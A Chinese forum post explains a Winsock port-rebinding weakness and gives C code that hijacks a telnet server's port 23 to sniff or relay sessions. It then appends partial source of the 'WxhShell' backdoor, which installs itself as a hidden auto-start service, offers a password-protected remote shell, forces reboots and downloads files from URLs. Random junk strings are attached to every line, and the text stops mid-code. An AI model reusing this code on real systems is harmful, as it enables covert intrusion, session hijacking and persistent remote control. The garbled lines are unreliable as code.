社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16421阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^ JU#_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UUvR>5@n  
C~M,N|m+^  
  saddr.sin_family = AF_INET; 6hHMxS^o  
^vI`#}?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w=~X6[+3  
t*-_MG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5K =>x<  
#z c$cr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]hbrzv o  
i1Y<[s  
  这意味着什么?意味着可以进行如下的攻击:  o%$R`;  
}RQHsS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SOS|3q_`  
r4]hcoU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /5?tXH"  
`b_n\pf ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R-Y 7I  
V7k!;0u v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6s$h _$[X  
? ~oc4J*>(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d[p?B-7%  
0.B'Bvn=s2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m4R:KjN*  
"_\77cqpTh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9CZ EP0i7  
i~m;Ah,#  
  #include &B$%|~Y5  
  #include d 0:;IUG  
  #include sDkO!P  
  #include    TR:4$92:H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G6X5`eLQ  
  int main() i,l$1g-i  
  { YIHGXi<"n  
  WORD wVersionRequested; bq{eu#rQJ  
  DWORD ret; I0_>ryA  
  WSADATA wsaData; Qn@[{%),4  
  BOOL val; _ujhD  
  SOCKADDR_IN saddr; (,RL\1zJ  
  SOCKADDR_IN scaddr; Yb'%J@T}  
  int err; &#'.I0n  
  SOCKET s; t;t;+M|W  
  SOCKET sc; Q776cj^L  
  int caddsize; &E-q(3-  
  HANDLE mt; pc;`Fz/`7  
  DWORD tid;   T~d_?UAw$  
  wVersionRequested = MAKEWORD( 2, 2 ); Uf|@h  
  err = WSAStartup( wVersionRequested, &wsaData ); rW*[sLl3  
  if ( err != 0 ) { 2Xv$  
  printf("error!WSAStartup failed!\n"); ZD4:'m`T/  
  return -1; sTxbh2  
  } ,fhK  
  saddr.sin_family = AF_INET; RZ?abE8  
   nMBF/75  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X//=OpS`  
tjcsT>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4^ZbT  
  saddr.sin_port = htons(23); +_ $!9m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H9[0-Ur5  
  { w|-m*v .  
  printf("error!socket failed!\n"); 0fN; L;v  
  return -1; 26=G%F6  
  } VD+v \X_  
  val = TRUE; |[$ TT$Fb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7_L$XIa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t~Q j$:\  
  { +rka 5ts  
  printf("error!setsockopt failed!\n"); n -xCaq  
  return -1; S|m|ulB  
  } P o\d!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N <M6~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  bDq<]h_7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xr31< 4B  
F1% ^,;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D*g K,`  
  { w$jSlgUHy)  
  ret=GetLastError(); :bq UA(k  
  printf("error!bind failed!\n"); L$@qEsO  
  return -1; c7]0 >nU;  
  } m-Qy6"eW  
  listen(s,2); ?:+p#&I  
  while(1) 4@M`BH`  
  { 9dva]$^:*1  
  caddsize = sizeof(scaddr); }eSrJgF4M  
  //接受连接请求 &3\3wcZ,q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jEL"Q?#  
  if(sc!=INVALID_SOCKET) 3s#/d,+  
  { :b,An'H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n/% M9osF  
  if(mt==NULL) q<cxmo0S  
  { >oapw5~5  
  printf("Thread Creat Failed!\n"); <Kk?BRxi  
  break; nd{k D>a  
  } )k81  
  } OZ&SxR%q4  
  CloseHandle(mt); .lGN Fx  
  } D4T(Dce  
  closesocket(s); 4 i`FSO  
  WSACleanup(); .qCI!%fg  
  return 0; 8`Tj*7Y=  
  }   ksyQ_4^SO  
  DWORD WINAPI ClientThread(LPVOID lpParam) pV$A?b"?*  
  { 7s 0pH+  
  SOCKET ss = (SOCKET)lpParam; )g ?'Nz  
  SOCKET sc; ?v&2^d4C*F  
  unsigned char buf[4096]; Z OqD.=O(  
  SOCKADDR_IN saddr; LRSt >; M  
  long num; L#N ]1#;  
  DWORD val; lN*"?%<x>  
  DWORD ret; +^[SXI^JaJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q>WnSm5R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !y3XIbdS"  
  saddr.sin_family = AF_INET; 3o#K8EL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eyos6Qi  
  saddr.sin_port = htons(23); 8o466m6/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =h/61Bl3  
  { cea e~  
  printf("error!socket failed!\n"); n]3Z~HoZ  
  return -1; :#=B wdC  
  } m[hHaX  
  val = 100; Q}1qt4xy*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -#r=  
  { 'K|F{K  
  ret = GetLastError(); SfPtG  
  return -1; Gyc _B  
  } <,J O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u`pw'3hY  
  { [+qB^6I+P%  
  ret = GetLastError(); l=47#zbpZ]  
  return -1; sRflabl *x  
  } _Bhd@S!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =P,pW  
  { K~~LJU3  
  printf("error!socket connect failed!\n"); pAyUQe;X#  
  closesocket(sc); R4S))EHg  
  closesocket(ss); UK .=Y9  
  return -1;  }S}%4c>  
  } jm[f|4\  
  while(1) 0"i QHi  
  { 2nSK}q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0SJ(Ln`0K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c&"1Z/tR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9 }  ]C  
  num = recv(ss,buf,4096,0); _OB^ywHn.  
  if(num>0) q'%!qa+  
  send(sc,buf,num,0); a4",BDx  
  else if(num==0) G'Uq595'-  
  break; wYh]3  
  num = recv(sc,buf,4096,0); o)H| #9h5  
  if(num>0) afjEN y1  
  send(ss,buf,num,0); \<\147&)r  
  else if(num==0) x #t?`  
  break;  ;ih;8  
  } ~$YasFEz  
  closesocket(ss); 5Z13s  
  closesocket(sc); r(g2&}o\  
  return 0 ; GQ*or>R1  
  } bs)Ro/7}  
^%qQ)>I=j  
O)`ye5>v  
========================================================== \4uj!LgTb  
8cj}9}k  
下边附上一个代码,,WXhSHELL ZC)m&V 1  
+d3h @gp  
========================================================== [V0%=q+R  
3C2~heO>|  
#include "stdafx.h" 3H%bbFy  
S~GS:E#  
#include <stdio.h> 5E2T*EXSh  
#include <string.h> R%Xz3Z&|  
#include <windows.h> f_IsY+@  
#include <winsock2.h> -90X^]  
#include <winsvc.h> :*J!  
#include <urlmon.h> +<WNAmh   
ge% tj O  
#pragma comment (lib, "Ws2_32.lib") m21H68y  
#pragma comment (lib, "urlmon.lib") 4cDe'9 LA  
v=-T3 n  
#define MAX_USER   100 // 最大客户端连接数 +KIFLuL  
#define BUF_SOCK   200 // sock buffer y>ePCDR3  
#define KEY_BUFF   255 // 输入 buffer .<6'*X R  
$Eo-58<q  
#define REBOOT     0   // 重启 s2 $w>L  
#define SHUTDOWN   1   // 关机 2=X.$&a  
]MB6++.e  
#define DEF_PORT   5000 // 监听端口 J n'SGR  
/Y| <0tq  
#define REG_LEN     16   // 注册表键长度 zn5|ewl@"  
#define SVC_LEN     80   // NT服务名长度 hdYd2 j  
i \@a&tw  
// 从dll定义API D*ZswHT{y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #}[NleTVt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U+ V yH4"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y.::d9v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `=2p6<#z  
l^rQo_alk  
// wxhshell配置信息 D~ 7W  
struct WSCFG { FMC]KXSd  
  int ws_port;         // 监听端口 j_SUR)5  
  char ws_passstr[REG_LEN]; // 口令 ] m #*4  
  int ws_autoins;       // 安装标记, 1=yes 0=no [vxHsY3z  
  char ws_regname[REG_LEN]; // 注册表键名 ubl)$jZ:Q  
  char ws_svcname[REG_LEN]; // 服务名 _Pn 1n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^N O4T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2W;2._  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c=p!2jJ1K~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LVJn2t^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VhU,("&pm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c+:^0&l  
TmJXkR.5  
}; ^_uCSA'X  
ZN!<!"~  
// default Wxhshell configuration VBK|*Tl  
struct WSCFG wscfg={DEF_PORT, yER  
    "xuhuanlingzhe", Sea6xGdq  
    1, Nu+DVIM  
    "Wxhshell", Bx|h)e9  
    "Wxhshell", rf]x5%ij  
            "WxhShell Service", rg I Z  
    "Wrsky Windows CmdShell Service", 0+KSD{  
    "Please Input Your Password: ", 2Vx x  
  1, >*$Xbj*  
  "http://www.wrsky.com/wxhshell.exe", RJdijj  
  "Wxhshell.exe" '-P+|bZW4  
    }; dAi.^! !  
(SByN7[g b  
// 消息定义模块 J#\oc@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W4)bEWO+q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _U Y5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cuL/y$+EY  
char *msg_ws_ext="\n\rExit."; u"DE?  
char *msg_ws_end="\n\rQuit."; CM)V^k*  
char *msg_ws_boot="\n\rReboot..."; ?3<Y/Vg%c  
char *msg_ws_poff="\n\rShutdown..."; Fp>nu_-"  
char *msg_ws_down="\n\rSave to "; *C.Kdf3w  
}|l7SFst  
char *msg_ws_err="\n\rErr!"; Fm+V_.H/;  
char *msg_ws_ok="\n\rOK!"; jwheJ G  
}l_8~/9  
char ExeFile[MAX_PATH]; 5i%\m  
int nUser = 0; .d+zF,02Z  
HANDLE handles[MAX_USER]; xxOhGA)  
int OsIsNt; 593!;2/@  
,Uy;jk  
SERVICE_STATUS       serviceStatus; Ei89Ngp\}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Qu-X\  
T[2<_nn=  
// 函数声明 C{,Vk/D-0  
int Install(void); T75N0/teS  
int Uninstall(void); #{J+BWP\o  
int DownloadFile(char *sURL, SOCKET wsh); C2 yJ Xi`$  
int Boot(int flag); ^,` L!3  
void HideProc(void); `tl-] ^Y2  
int GetOsVer(void); 6Y9<| .  
int Wxhshell(SOCKET wsl); W?n/>DML  
void TalkWithClient(void *cs); M*aYcIU((  
int CmdShell(SOCKET sock); NosOd*S  
int StartFromService(void); )#sN#ZR$  
int StartWxhshell(LPSTR lpCmdLine); *T:jR  
m",G;VN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N[N4!k )!$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ."`||@|  
7t+H94KG7  
// 数据结构和表定义 t;_1/ mt  
SERVICE_TABLE_ENTRY DispatchTable[] = (*\y  
{ LdnTdh?  
{wscfg.ws_svcname, NTServiceMain}, @@=,bO  
{NULL, NULL} TW=N+ye^1(  
}; {,= hIXo>  
_WI~b  
// 自我安装 ZHCrKp  
int Install(void) iDYm4sY  
{ M%s!qC+  
  char svExeFile[MAX_PATH]; )/Oldyp  
  HKEY key; gl!ht@;>ak  
  strcpy(svExeFile,ExeFile); {~#d_!(  
uxL3 8d]  
// 如果是win9x系统,修改注册表设为自启动 1yTw*vH F  
if(!OsIsNt) { /'^ BH A|h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "tu*(>'~5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j?VHR$  
  RegCloseKey(key); V(Oi!(H;v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }d@;]cps  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S`vw<u4t  
  RegCloseKey(key); He&A>bA)z  
  return 0; V>ZDJW"G!  
    } u@Bgyt7Y  
  } ](`:<>c  
} AG"iS<u  
else { pqe%tRH{  
FA;B :O@:'  
// 如果是NT以上系统,安装为系统服务 JvS ~.g1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KVoM\ttP  
if (schSCManager!=0) AOx8OiqE:  
{ 'Y]<1M>.g  
  SC_HANDLE schService = CreateService n,{  
  ( ${`q!  
  schSCManager, &?k`rF9  
  wscfg.ws_svcname, e' |c59E  
  wscfg.ws_svcdisp, 2hTsjJ!'  
  SERVICE_ALL_ACCESS, (A-Uo   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y|3!E>Up  
  SERVICE_AUTO_START, Pt'=_^Io  
  SERVICE_ERROR_NORMAL, 2L=(-CH9]  
  svExeFile, \!k\%j 9  
  NULL, mFE7#OM  
  NULL, >"Zn# FY  
  NULL, {_ZbPPh;M"  
  NULL, nFwdW@E9  
  NULL =.,XJIw&  
  ); |@hyGu-H+  
  if (schService!=0) @Y#TWt#  
  { :^]Fp UY  
  CloseServiceHandle(schService); A[f `xE  
  CloseServiceHandle(schSCManager); E cd~H+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rK4 pYo  
  strcat(svExeFile,wscfg.ws_svcname); ?S.LGc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~xc0Ky?8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~!_UDD  
  RegCloseKey(key); -#g0  
  return 0; .[Ny(X/]/}  
    } >Fc=F#tA9  
  } {7Kl #b  
  CloseServiceHandle(schSCManager); 8qT^=K $  
} <g, 21(bc  
} 51'V[tI;8  
LtNspFoLb  
return 1; EpENhC0  
} vb`:   
/}s#   
// 自我卸载 $[b1_Db  
int Uninstall(void) dCzS f4:  
{ D?"Q)kVuD  
  HKEY key; uFaT~ 4  
2gnz=  
if(!OsIsNt) { Vb?_RE_H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0p'g+ 2  
  RegDeleteValue(key,wscfg.ws_regname); .GFKy  
  RegCloseKey(key); ,|w,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wr,pm#gl6  
  RegDeleteValue(key,wscfg.ws_regname); Qk&6Z%  
  RegCloseKey(key); &]c7<=`K"  
  return 0; s2K8|q=  
  } 8,:lw3x1  
} ]K<7A!+@@p  
} H)K.2Q  
else { oB+@05m8  
]Y f8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mQ\oR|  
if (schSCManager!=0) TaZlfe5z  
{ r6 kQMFA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N Q }5'  
  if (schService!=0) +sXnC\  
  { 07Oagq(  
  if(DeleteService(schService)!=0) { 5 gwEr170  
  CloseServiceHandle(schService); ) 3I|6iS  
  CloseServiceHandle(schSCManager); YV6w}b:  
  return 0; kb'l@d#E  
  } D \boF+^  
  CloseServiceHandle(schService); dkZ[~hEQG-  
  } Rtai?  
  CloseServiceHandle(schSCManager); ~P9^4  
} x8&~  
} C3; d.KlV  
R#/0}+-M  
return 1; 5NMju!/  
} X{qa|6S,F  
'WwD$e0=  
// 从指定url下载文件 D*8oFJub  
int DownloadFile(char *sURL, SOCKET wsh) ;(LC{jY  
{ lV?OYS|4i  
  HRESULT hr;  "-G&]YMl  
char seps[]= "/"; Tg v]30F)  
char *token; wA6<Buj D  
char *file; weIlWxy  
char myURL[MAX_PATH]; XMpE|M! c  
char myFILE[MAX_PATH]; QB7^8O!<  
h'A #Yp0,  
strcpy(myURL,sURL); |l,0bkY@&  
  token=strtok(myURL,seps); wE_#b\$=b  
  while(token!=NULL) 9bD ER  
  { |LE*R@|3$  
    file=token; ^2mCF  
  token=strtok(NULL,seps); hle@= e/n  
  } %UCuI9  
=7zvp,B  
GetCurrentDirectory(MAX_PATH,myFILE); 5R O_)G<  
strcat(myFILE, "\\"); ]$A6krfh|  
strcat(myFILE, file); E D_J8 +  
  send(wsh,myFILE,strlen(myFILE),0); )eBCO~HS  
send(wsh,"...",3,0); Yk5Cyq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " R-Pe\W  
  if(hr==S_OK) 2}.EFQp+  
return 0; e'dZ2;X$zo  
else /x&52~X5-  
return 1; wdEQB-dA  
yzJTNLff  
} :UDe\zcd "  
*l'5z)]  
// 系统电源模块 tVAH\*a,/  
int Boot(int flag) 1Gk'f?dw  
{ lLuAgds`  
  HANDLE hToken; n}q/:|c  
  TOKEN_PRIVILEGES tkp; N#vV;  
;3N>m| ?D=  
  if(OsIsNt) { m H&WoL<K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h?&S*)1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $-_@MT~  
    tkp.PrivilegeCount = 1; Ga $EM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ {8x L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vce1'aW  
if(flag==REBOOT) { W sDFui  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YXTd^M~@D  
  return 0; [f-<M@id/  
} >^d+;~Q;  
else { fvw&y+|y!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :JG2xtn  
  return 0; YDiru  
} hkR Jqta)  
  } q=uJ^N  
  else { mV'^4by  
if(flag==REBOOT) { I$1~;!<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m#t  
  return 0; (J\Qo9Il  
} 3AarRQWsn  
else { 1EA}[x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m-}6DN  
  return 0; ZbLN:g}  
} _iW-i  
} O.wk*m!9  
-'::$ {  
return 1; )Xd2qbi  
} l|~SVk|  
v/}h y$7  
// win9x进程隐藏模块 F7qQrE5bl  
void HideProc(void) sBWLgJz?C  
{ N^By#Z  
? Eh)JJt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /N\[ C"8  
  if ( hKernel != NULL ) uHpSE?y/  
  { Ke,$3Yx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ='GY:.N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @`#"6y?  
    FreeLibrary(hKernel); >,QW74o  
  } _;`g*Kx  
] iVoF N}^  
return; Rac4a@hZ  
} >-<7 r?~  
9_\1cSk'  
// 获取操作系统版本 wU bLw  
int GetOsVer(void) >EIV`|b$h  
{ 9Y-6e0B:  
  OSVERSIONINFO winfo; RF.8zea{O`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "ku ?A^f  
  GetVersionEx(&winfo); >Y[nU~w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Gds?o8  
  return 1; XKT2u!Lx  
  else L# NW<T  
  return 0; X |X~|&j  
} vd!|k5t[d  
$4*k=+wS  
// 客户端句柄模块 z9[BQ(9t  
int Wxhshell(SOCKET wsl) 4?9cyv4H  
{ 4+_r0  
  SOCKET wsh; }@S''AA\  
  struct sockaddr_in client; ~V<62"G  
  DWORD myID; G9i?yd4n=B  
(3M7RpsL@  
  while(nUser<MAX_USER) U `<?~Bz  
{ \%011I4  
  int nSize=sizeof(client); S) [$F}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tcU4$%H/  
  if(wsh==INVALID_SOCKET) return 1; Um\_G@  
A/{0J\pA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dk4|*l-  
if(handles[nUser]==0)  h2]gA_T`  
  closesocket(wsh); G%RhNwm  
else mBZg(TY  
  nUser++; |Y\BI^  
  } 3"J85V%h]n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l\{{iAC]I  
u4p){|x7s  
  return 0; L=."<,\  
} `jyBF  
pJ 7="n  
// 关闭 socket wth*H$iF  
void CloseIt(SOCKET wsh) -v7O*xm"  
{ {]CO;5:  
closesocket(wsh); EzDQoN7Em  
nUser--; V[N4 {c  
ExitThread(0); V}UYr Va#9  
} !K$qh{n  
/>\6_kT  
// 客户端请求句柄 K<Qy1y~[  
void TalkWithClient(void *cs) >*aqYNft  
{ 9F^rXY.  
El)WjcmH  
  SOCKET wsh=(SOCKET)cs; G*lkVQ6?  
  char pwd[SVC_LEN]; SYsbe 5j  
  char cmd[KEY_BUFF]; !Cv:,q  
char chr[1]; N N;'QiE  
int i,j; ]aF!0Fln~  
79JU   
  while (nUser < MAX_USER) { f.&((z?rC  
Pwh0Se5Z  
if(wscfg.ws_passstr) { 9:tn! <^=I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #fR~ 7 KR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o1(?j}:c|  
  //ZeroMemory(pwd,KEY_BUFF); (jY -MF3  
      i=0; ,:1_I`d>#X  
  while(i<SVC_LEN) { E)=X8y  
bAa+MB#A  
  // 设置超时 ^E3i]Oem  
  fd_set FdRead; Y]R;>E5o|  
  struct timeval TimeOut; 3l8k O  
  FD_ZERO(&FdRead); z1u1%FwOfM  
  FD_SET(wsh,&FdRead); n!K<g.tjW  
  TimeOut.tv_sec=8; {v>orP?  
  TimeOut.tv_usec=0; D7"RZF\)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I T\lkF2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;5fq[v^P:  
<(U :v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :UgCP ~Y  
  pwd=chr[0]; 2l9RU}  
  if(chr[0]==0xd || chr[0]==0xa) { Z7t-{s64  
  pwd=0; 0=^A{V!m  
  break; M >BcYbXf  
  } X^;LiwQv  
  i++; oI6l`K$  
    } iHB1/  
e:&(y){n(  
  // 如果是非法用户,关闭 socket C3p/|{TP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .%rB-vO:g  
} ,:e##g~k  
jZ8#86/#{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dLs40 -R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a;2Lgv0/  
*Bgk3(n)  
while(1) { .^%!X!r  
3Y}X7-|)Z  
  ZeroMemory(cmd,KEY_BUFF); aMaFxEW  
*75?%l  
      // 自动支持客户端 telnet标准   (t\ F>A  
  j=0; n 7Bua  
  while(j<KEY_BUFF) { 2}^fhMS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yA/b7x-c  
  cmd[j]=chr[0]; ,,-g*[/3  
  if(chr[0]==0xa || chr[0]==0xd) { H[a1n' "<:  
  cmd[j]=0; DfNX@gbo  
  break; LmKG6>Q1#1  
  } !h "6h  
  j++; rz @;Zn  
    } dfmxz7V  
-8]M ,,?  
  // 下载文件 85Hb~|0  
  if(strstr(cmd,"http://")) { lQolE P.pc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zu~E}  
  if(DownloadFile(cmd,wsh)) LS=HX~5C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'L"dM9#>  
  else )fo9Qwe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >,Zf3M  
  } V>`xTQG  
  else { vl'2O7  
%0z&k!P  
    switch(cmd[0]) { SbLx`]rI  
  #$GDKK  
  // 帮助 O#e'.n!rI  
  case '?': { BWbM$@'x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wlM"Zt  
    break; nM)q;9-ni  
  } _FET$$>z N  
  // 安装 ;c-J)Ky  
  case 'i': { Q@in?};  
    if(Install()) 1Ue;hu'q:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `zjEs8`'  
    else Q9`}dYf.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]y:ez8RFPU  
    break; HW)4#nLhh  
    } )4hb%U  
  // 卸载 kAEm#oz=g  
  case 'r': { =3Y:DPMB  
    if(Uninstall()) 4EO,9#0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2DE"  
    else .5',w"R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f ,?P1D\  
    break; ]&')# YO  
    } c:/ H}2/C  
  // 显示 wxhshell 所在路径 >^8=_i !  
  case 'p': { =c-,uW11[  
    char svExeFile[MAX_PATH]; MMMuT^X  
    strcpy(svExeFile,"\n\r"); <3wfY #;><  
      strcat(svExeFile,ExeFile); i U^tv_1  
        send(wsh,svExeFile,strlen(svExeFile),0); 5s >UM@})  
    break; [ ET03 nZ  
    } J~6-}z   
  // 重启 >&|C E2'  
  case 'b': { [,Io!O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MVGznf?  
    if(Boot(REBOOT)) uIG,2u,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rI\G&OqpP  
    else { wgK:^D P  
    closesocket(wsh); 6w d0"  
    ExitThread(0); !z !R)6  
    } Sc!{ o!9\  
    break; :<    
    } ;'.[h*u~<  
